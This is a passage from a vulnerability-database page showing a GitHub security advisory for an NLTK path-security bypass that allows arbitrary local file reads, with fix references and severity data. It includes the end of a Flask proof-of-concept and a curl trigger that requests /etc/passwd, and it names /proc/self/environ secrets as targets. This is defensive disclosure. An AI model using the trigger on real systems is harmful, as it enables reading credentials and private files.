ignored \u2014 builtins.open() called internally\n view = StreamBackedCorpusView(fname, read_line_block, encoding=\"utf8\")\n return jsonify({\"file\": fname, \"content\": view[0]})\n\napp.run(host=\"0.0.0.0\", port=8000)\n```\nTrigger:\n```\ncurl -s -X POST http://localhost:8000/read \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"file\": \"/etc/passwd\"}\u0027\n```\nConfirmed on latest stable NLTK. No privileges required.\n\n## Impact\n- **Type:** Arbitrary Local File Read / Security Control Bypass\n- **CWE:** CWE-22, CWE-284\n- **OWASP:** A01:2021 \u2013 Broken Access Control\n\nAffects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the `fileid` passed to NLTK corpus readers. Sensitive targets include `/etc/passwd`, `/proc/self/environ` (may contain `AWS_SECRET_ACCESS_KEY`, `DATABASE_URL`, etc.), and application config files.\n\nThe core issue is that operators who explicitly set `ENFORCE = True` to harden production deployments are left with a **false security guarantee**.\n\n**Suggested fix:** Replace `builtins.open()` and `os.stat()` in the string-path branch with `nltk.pathsec.open()` and `nltk.pathsec.validate_path()`.",
"id": "GHSA-x5ph-mj9p-rfr8",
"modified": "2026-09-08T15:27:33Z",
"published": "2026-09-08T15:27:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-x5ph-mj9p-rfr8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63312"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3588"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/674ea75accdf08eca3782dee0a9c4ed7e0d0025b"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3730.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-streambackedcorpusview-bypasses-pathsec-enforce-arbitrary-file-read"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read"
}
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Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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